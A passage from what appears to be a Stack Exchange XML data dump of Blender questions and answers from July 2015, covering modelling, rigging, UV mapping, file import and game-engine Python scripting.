Nurbs curve without converting to mesh" Tags="&lt;python&gt;&lt;scripting&gt;&lt;bezier-curves&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34146" PostTypeId="2" ParentId="34087" CreationDate="2015-07-17T13:00:44.847" Score="2" Body="&lt;p&gt;You likely have a modifier on the head object, most likely an armature modifier that has the Render setting off. Enabling the render button on the modifier will solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-17T13:00:44.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34147" PostTypeId="1" CreationDate="2015-07-17T13:06:46.820" Score="3" ViewCount="27170" Body="&lt;p&gt;Is there a plugin to import/export rhinoceros' 3DM files to/from blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no plugin yet, would it be possible to write one or are there technical limitations to do such a thing? I suppose somebody would have written something by now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this because I swap files with people who only work with rhinoceros, but most of them only know basic modelling and panic when I start speking about STL file-format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="14001" LastActivityDate="2020-01-18T09:58:56.770" Title="Import/Export Rhino's 3DM format to/from blender" Tags="&lt;export&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34149" PostTypeId="2" ParentId="33238" CreationDate="2015-07-17T13:11:19.897" Score="0" Body="&lt;p&gt;Well. You can create two rigid bodies, one passive animated one (perhaps a lowres of your character or a dummy parented to it) and the rigid body you wish to simulate. Then create a generic spring rigid body constraint between them. I'm not certain you can create an animated passive rigid body from an empty, but if not you could create a plane, use box collision and set it to not render.&lt;/p&gt;&#xA;" OwnerUserId="15725" LastActivityDate="2015-07-17T13:11:19.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34150" PostTypeId="2" ParentId="34145" CreationDate="2015-07-17T13:21:47.297" Score="3" Body="&lt;p&gt;In the absence of such a function, it's relatively light weight to&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a mesh from the object&lt;/li&gt;&#xA;&lt;li&gt;get verts + edges from the mesh&lt;/li&gt;&#xA;&lt;li&gt;discard the mesh&lt;/li&gt;&#xA;&lt;li&gt;return verts, edge keys&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def get_verts_edges(nurbs_object, use_modifiers=True, settings='PREVIEW'):&#xA;    scene = bpy.context.scene&#xA;    # create a temporary mesh&#xA;    obj_data = nurbs_object.to_mesh(scene, use_modifiers, settings)&#xA;&#xA;    verts = [v.co for v in obj_data.vertices]&#xA;    edges = obj_data.edge_keys&#xA;    &#xA;    # discard temporary mesh&#xA;    bpy.data.meshes.remove(obj_data)&#xA;    return verts, edges&#xA;    &#xA;obj = bpy.data.objects['NameOfMyCurveObject']&#xA;verts, edges = get_verts_edges(obj)&#xA;&#xA;print(verts, edges)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="117258" LastEditDate="2021-02-19T07:34:37.493" LastActivityDate="2021-02-19T07:34:37.493" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="34151" PostTypeId="1" CreationDate="2015-07-17T13:30:33.023" Score="1" ViewCount="279" Body="&lt;p&gt;I have linked between model and bone with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; (With Automatic Weights), but when I move the foot bone 'Leg Control.L' (shown with yellow circle) the model's leg doesn't completely follow the bone (shown with red circle). Also, the right leg follows the left leg but that shouldn't be followed (shown with green circle). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how I fix this? I have tried to remake the bones but the result is same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yXhSc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15729" LastEditorUserId="241" LastEditDate="2015-07-17T13:34:06.520" LastActivityDate="2015-07-17T14:04:31.907" Title="Model doesn't follow its armature in pose mode" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34152" PostTypeId="1" AcceptedAnswerId="34157" CreationDate="2015-07-17T13:48:33.363" Score="2" ViewCount="1749" Body="&lt;p&gt;I currently have a task to turn several 2D dwg files into basic 3D renders (building layouts); I've purchased a plugin to import 2D DWG files into Blender but am at a loss as to how to easily turn them into 3D renderings (simple enough so someone could know the layout of a floor of a building)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched high and low but can't find any simple solution towards this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="15730" LastEditorUserId="11431" LastEditDate="2015-07-17T14:59:46.417" LastActivityDate="2016-04-15T22:20:03.367" Title="Turning a 2D dwg into a basic 3D render" Tags="&lt;modeling&gt;&lt;import&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34155" PostTypeId="1" AcceptedAnswerId="34363" CreationDate="2015-07-17T14:54:06.053" Score="1" ViewCount="296" Body="&lt;p&gt;in my game I have a painting behind glass and the glass is in the front side of the &quot;painting case&quot;. Like this: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/OM508.png&quot; alt=&quot;Mona Lisa&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All 3 objects (Mona Lisa, painting case and the glass) have the block property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to detect only the painting case with a ray sensor without the x-ray mode. As I was testing it, I activated all the collision bounds of the objects as a box and the result is that the painting case's box covers the painting(Mona Lisa)'s and the glass's surfaces so I always got the painting case with my ray. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is : Does the ray detect surfaces or the collision bounds of the objects or an area near the surfaces, or what if none of the above? And if the correct answer is the collision bounds, should I have them &quot;ticked&quot; for this to work? If they are not ticked what does the ray detect(cause it returns the object, but the paint itselft )?&#xA;And as a side-question : How does the margin attribute affect the collision bounds exactly? Is it visible somehow in the viewport?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-22T07:56:42.540" Title="Do ray sensors detect collision bounds?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34156" PostTypeId="1" AcceptedAnswerId="34801" CreationDate="2015-07-17T15:16:22.887" Score="3" ViewCount="183" Body="&lt;p&gt;I have some cords that have a curve modifier on them so that they don't stick straight out of a robots leg. The problem occurs when animating. since one end of the cord is attached to the leg, and another to the body, the cord will need to deform. Is there a way I can make the cord update to its new positions realtime? I would try this with shape-keys, but animating them never seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Er0gA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-07-30T12:23:02.913" Title="How to use a curve modifier in-game (work around)" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;modifiers&gt;&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34157" PostTypeId="2" ParentId="34152" CreationDate="2015-07-17T15:26:53.917" Score="2" Body="&lt;p&gt;Let's suppose you have a plan floor like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e8cITm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you have imported your 2D geometry in Blender with your plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tLeenm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what your plugin is capable of, you have to work a bit on the imported objects, maybe: merging, separing, removing doubles...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you can start extruding your 2D geometry. I suggest you to import also the elevation, if provided, in order to have quicker access on extruding values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways in wich you can optimize the extrusion process (merge object, thickness modifier, curve extrusion,...) but all depend in which way your plugin get the 2D information out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I ony had the profile, so I had to create faces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50QCx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then extrude them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wxjIb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;continue till you are satisfied with your modeling by translating, extruding, adding objects.... with the help of the snaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a floor plane, a light, maybe textures and render...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvKXv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2016-04-15T22:20:03.367" LastActivityDate="2016-04-15T22:20:03.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34158" PostTypeId="1" AcceptedAnswerId="34162" CreationDate="2015-07-17T17:10:08.757" Score="4" ViewCount="486" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZSo1q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That one, can't find it anywhere.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastEditorUserId="241" LastEditDate="2015-07-17T17:13:32.367" LastActivityDate="2015-07-17T17:28:35.270" Title="Any way to customize the color of the text input cursor?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34160" PostTypeId="1" CreationDate="2015-07-17T17:19:10.453" Score="6" ViewCount="15583" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jaMuz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am mirroring this object so that it merges with it's &quot;reflection&quot;, but it does not come out clean. As you can see it is pinched and there is also a gap in there. How can I fix this? I have been having this problem for a while.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15243" LastActivityDate="2017-05-17T21:12:46.923" Title="How to merge the mirror modifier correctly?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34161" PostTypeId="2" ParentId="34130" CreationDate="2015-07-17T17:19:33.993" Score="2" Body="&lt;p&gt;Answer is quite simple: you cannot. Corrective smoothness is very advanced effect that simply cannot be exported, nor baked at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only way to bake that I can think of, anyway, would be (with e.g. a py script), for each frame, to make a diff between the mesh with and without CS modifier, and store that diff in a relative shapekey, and then animate all those skeys such that they each express at one frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this sounds like an awfully heavy solution to me. And result is not much guaranteed even, since shapekeys are applied &lt;strong&gt;before&lt;/strong&gt; the armature modifier (and the whole modifier stack), while Corrective smoothness modifier comes &lt;strong&gt;after&lt;/strong&gt; the armature modifier…&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-07-17T17:19:33.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34162" PostTypeId="2" ParentId="34158" CreationDate="2015-07-17T17:22:31.690" Score="3" Body="&lt;p&gt;I do not think that is possible. I checked the general 'User Interface' theme section, the 'Text Editor' cursor colour and I even went so far as to check any items which are blue in the other theme settings just in case they might affect it. Unfortunately none of them did. I also checked other areas of the user preferences as there are a few theme-like settings in other sections but to no avail. While the majority of Blender's interface is customisable, there are a few things which aren't and I think this is one of them.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-07-17T17:28:35.270" LastActivityDate="2015-07-17T17:28:35.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34163" PostTypeId="2" ParentId="34160" CreationDate="2015-07-17T17:35:17.427" Score="6" Body="&lt;p&gt;you need to use a lower value for 'merge limit' parameter to lower the distance before vertices are automatically merged.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QpInV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-17T17:35:17.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34164" PostTypeId="2" ParentId="34071" CreationDate="2015-07-17T19:19:41.803" Score="1" Body="&lt;p&gt;You could put a Driver on the Mapping/Offset of an image texture that copies its value from a controlling empty or bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot that shows such a rig.  Notice that the X offset is purple (meaning it is controlled by a driver) and you can see the driver in the curves window configured to copy the minimum value from the Empty object's X Location in World space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mrLI.png&quot; alt=&quot;screenshot of driver controlling texture&amp;#39;s X offset&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-07-17T19:19:41.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34165" PostTypeId="1" CreationDate="2015-07-17T20:13:00.950" Score="2" ViewCount="1611" Body="&lt;p&gt;I'm pretty new to blender and I'm trying to move an agent (in this case, a cube) randomly in bge. This is what my code looks like at this point: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import random&#xA;from mathutils import Vector&#xA;&#xA;def main(): &#xA;    cont = bge.logic.getCurrentController()&#xA;    owner = cont.owner&#xA;    function = cont.sensors[&quot;Always&quot;]&#xA;&#xA;    width = bge.render.getWindowWidth()&#xA;    height = bge.render.getWindowHeight()&#xA;&#xA;    def set_object_pos(width, height): &#xA;        owner.localPosition.x = random.randint(-1*width, width)*0.007&#xA;        owner.localPosition.y = random.randint(-1*height, height)*0.007&#xA;&#xA;    current_frame = 0&#xA;&#xA;    loopnumber = range(100)&#xA;    loopnumberlist = []&#xA;    for number in loopnumber: &#xA;        loopnumberlist.append(number)&#xA;&#xA;    for number in loopnumberlist: &#xA;        set_object_pos(width, height)          &#xA;        print (owner.localPosition.x, owner.localPosition.y)&#xA;        current_frame += 1 &#xA;        number += 1&#xA;main()  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just randomly created a loop because it would only print out 1 location no matter for how long the simulation ran. The problem I'm running into at this point is that the script will print out random locations but only moves the agent the first time the loop is run....any way to get the cube to move every time the loop is run? Or, better, is there any way to just call this function every frame? I thought using the Always controller would help but it hasn't worked that well...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-07-22T07:23:07.793" Title="Help with moving an object in bge randomly via script?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34167" PostTypeId="1" CreationDate="2015-07-17T20:21:04.633" Score="1" ViewCount="1416" Body="&lt;p&gt;I'm trying to set up a scene using a script that places a bunch of cubes in random locations throughout the screen and sets their physics type to rigid body. Ideally, I'd like to have one cube be an agent whose actions can be controlled via a different script. How do I set objects' physics type en masse using python in the game engine? &#xA;I've tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ActiveObj.game.physics_type = 'RIGID_BODY'&#xA;ActiveObj.game.use_collision_bounds = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as well as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.data.objects:&#xA;     bpy.ops.rigidbody.object_add(type='ACTIVE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but, obviously, neither works in the game engine. How do I get around this? &lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2018-11-25T14:03:00.597" Title="Set physics type in bge using python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34168" PostTypeId="1" AcceptedAnswerId="34170" CreationDate="2015-07-17T20:23:08.607" Score="1" ViewCount="2232" Body="&lt;p&gt;I spent A few hours working on a UV map, then I needed to change the resolution of the texture to be a power of 2. I would like to be able to change this in blender without changing the UV map. How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image size is 60x123, and the second is 128x128.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IyQP8.png&quot; alt=&quot;Image of blender before texture changed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cICML.png&quot; alt=&quot;Image of blender after texture changed&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15737" LastEditorUserId="15737" LastEditDate="2015-07-17T21:22:57.560" LastActivityDate="2015-07-17T22:54:33.053" Title="Change UV Map Image Without UV Map Scaling" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34169" PostTypeId="1" AcceptedAnswerId="34179" CreationDate="2015-07-17T20:26:26.047" Score="5" ViewCount="2819" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DI3f8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to turn this generated mapping into an UV Map?&#xA;If not, would it be possible to access the generated mapping by using bpy?&lt;/p&gt;&#xA;" OwnerUserId="15736" LastActivityDate="2015-07-17T22:36:40.380" Title="How to turn generated mapping to UV Map" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34170" PostTypeId="2" ParentId="34168" CreationDate="2015-07-17T20:42:04.363" Score="0" Body="&lt;p&gt;First select the UVs in the UV/Image editor, make sure the X and Y cursor location is 0, switch Pivot point to 2D Cursor and scale the UVs using &lt;kbd&gt;S&lt;/kbd&gt; button, hit &lt;kbd&gt;X&lt;/kbd&gt; to limit the scale on X axis, input 0.5 and hit &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kvxbs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-17T20:42:04.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34172" PostTypeId="1" CreationDate="2015-07-17T21:26:46.487" Score="1" ViewCount="163" Body="&lt;p&gt;I'm trying to bypass the GUI and just use the logic editor via scripts, e.g. I want an object to move +1 blender unit in the x direction each frame for a physics simulation but don't want to have to use the GUI to implement this. Is there any way to work around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-07-17T22:08:00.210" Title="Control logic editor using scripts?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34173" PostTypeId="2" ParentId="33837" CreationDate="2015-07-17T21:31:24.907" Score="2" Body="&lt;p&gt;Ultimately the solution was provided by sebastian_k himself on the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?375940-Track-Match-Blend-16-Blender-2-75-produces-solve-error-of-100&quot; rel=&quot;nofollow&quot;&gt;blenderartists.org forum&lt;/a&gt;, quotation follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yeah, that was a bit of a weird problem. Lots of good markers,&#xA;  seemingly enough parallax (a moving camera) etc. So why did it fail?&#xA;  As often, the main tool to get a good solution is the placement of the&#xA;  keyframes. Unfortunately the automatic keyframe detection doesn't&#xA;  always do a good job on that. But here's what I did:  Actually it did&#xA;  help me to open up the scene without the footage, because i could&#xA;  examine the movement of the markers. And what I found by scrubbing&#xA;  through the shot was that I could see the most parallax around frame&#xA;  75 and 110. So setting keyframe A to 75 and keyframe B to 110 already&#xA;  gives you a solve error of 1.4, which is a nice starting point to&#xA;  bring it below one using Refinement for focal length and K1 and K2.&#xA;  So, if you have troubles solving a scene and are confident your&#xA;  markers are good, always try different keyframe settings. Set&#xA;  keyframes when you see the most parallax in your shots.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Following this advice with the tutorial footage indeed ultimately resulted in a 0.6544 solve - and the tutorial could continue!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's perhaps worth noting that this still doesn't explain why (almost! very! nearly!) identical actions across two different versions of Blender produced such strongly divergent results. Something to be aware of, maybe...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Mumble mutter bonus question answer: &lt;a href=&quot;https://github.com/sebastian-k/scripts/blob/master/cleanplate_creator.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sebastian-k/scripts/blob/master/cleanplate_creator.py&lt;/a&gt; never again)&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorDisplayName="user1853" LastEditDate="2015-07-17T23:39:08.017" LastActivityDate="2015-07-17T23:39:08.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34174" PostTypeId="1" AcceptedAnswerId="34183" CreationDate="2015-07-17T21:38:14.360" Score="8" ViewCount="2014" Body="&lt;p&gt;Is there a way to lock screen layouts so that when you change them while working, such as by switching editors around or resizing them, those changes don't affect the original state of the active layout? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like Blender's versatility in allowing me to organize my workspace any way I want. I'm often doing this on the fly, but sometimes things get weird and I just want to go home. (sniffle). Only I find out that my original home (layout) doesn't exist in this scene anymore, because I've fouled it up beyond all recognition. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've found to combat this is to immediately create a new &quot;junk&quot; layout when I open a new scene and keep creating new &quot;junk&quot; layouts any time I switch to one of my default layouts. It kind of works if I remember to do it, but I usually don't, and it kind of defeats the purpose of having layouts. Any solutions or workarounds or possible scripting ideas would be much appreciated. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="15159" LastEditorUserId="241" LastEditorDisplayName="user1853" LastEditDate="2020-06-06T17:06:53.400" LastActivityDate="2021-01-14T16:59:24.620" Title="Can screen layouts or workspaces be locked?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;workspaces&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="34175" PostTypeId="2" ParentId="34167" CreationDate="2015-07-17T21:49:29.963" Score="0" Body="&lt;p&gt;Create a cube in a different layer and tick rigid in his physics property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go in your active layer and place an empty where you want your cubes to spawn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an &quot;Edit Object&quot; actuator to the empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose when to activate it and set the Cube in the different layer as the object to be added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the newly added object will have rigid physics.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-17T21:49:29.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34176" PostTypeId="2" ParentId="34165" CreationDate="2015-07-17T22:01:32.753" Score="0" Body="&lt;p&gt;In the Always sensor, activate true level triggering.&#xA;It is the most left button. Hover above it and you ll see.It will work afterwards.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-17T22:01:32.753" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34177" PostTypeId="2" ParentId="34172" CreationDate="2015-07-17T22:08:00.210" Score="1" Body="&lt;p&gt;Ok so based on your comment, I can tell you that you will need at least an always brick or sensor to activate the scripts. So you can't dodge that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards you can put them all in the same script, but it is not recommended cause of possible delays and cause you miss some of the good stuff blender has.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-17T22:08:00.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34178" PostTypeId="1" CreationDate="2015-07-17T22:21:15.963" Score="3" ViewCount="1431" Body="&lt;p&gt;So I just realized some strange stuff is happening when i export my object, and I realized the original object made in blender is not at center,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the weird part is that its origin is at the center of the grid, the same as its armature but while the armature says its at 0, 0, 0, the objects position is 0, 0 , 2.40731.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i apply location the origin of the object will go 2.4 units below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhl4N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E80yr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using Blender 2.71&#xA;Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s000.tinyupload.com/download.php?file_id=05600647048571993931&amp;amp;t=0560064704857199393131217&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15423" LastEditorUserId="15423" LastEditDate="2015-07-19T12:36:31.220" LastActivityDate="2015-12-16T15:04:10.397" Title="Location of object wrong?" Tags="&lt;transforms&gt;&lt;units&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34179" PostTypeId="2" ParentId="34169" CreationDate="2015-07-17T22:36:40.380" Score="4" Body="&lt;p&gt;The problem here is that UV unwrapping simply assigns U (X) and V (Y) coordinates to the mesh, the W (Z) coordinate remains at &lt;code&gt;0&lt;/code&gt; across the entire mesh.  Generated coordinates are based on the 3-dimensional bounding box of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can recreate the U and V generated coordinates in a UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go into top view (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;) and hit &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Project From View (Bounds)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8JZe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in the same U an V coordinates as generated mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more on texture coordinates see my explanation of texture coordinates &lt;a href=&quot;https://blender.stackexchange.com/a/23174/5705&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-07-17T22:36:40.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34180" PostTypeId="1" CreationDate="2015-07-17T22:54:29.073" Score="1" ViewCount="339" Body="&lt;p&gt;Is there any way I can, after rendering an animation/physics simulation, write out said animation to an external file? Needs to be a file format compatible with Linux (I'm new to Linux so unfortunately I don't know what sort of file would work for this). I also need to be able to, ideally, do this within the script controlling the animation/simulation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much! &lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2016-03-14T09:39:46.620" Title="Write out animations to separate files?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;export&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
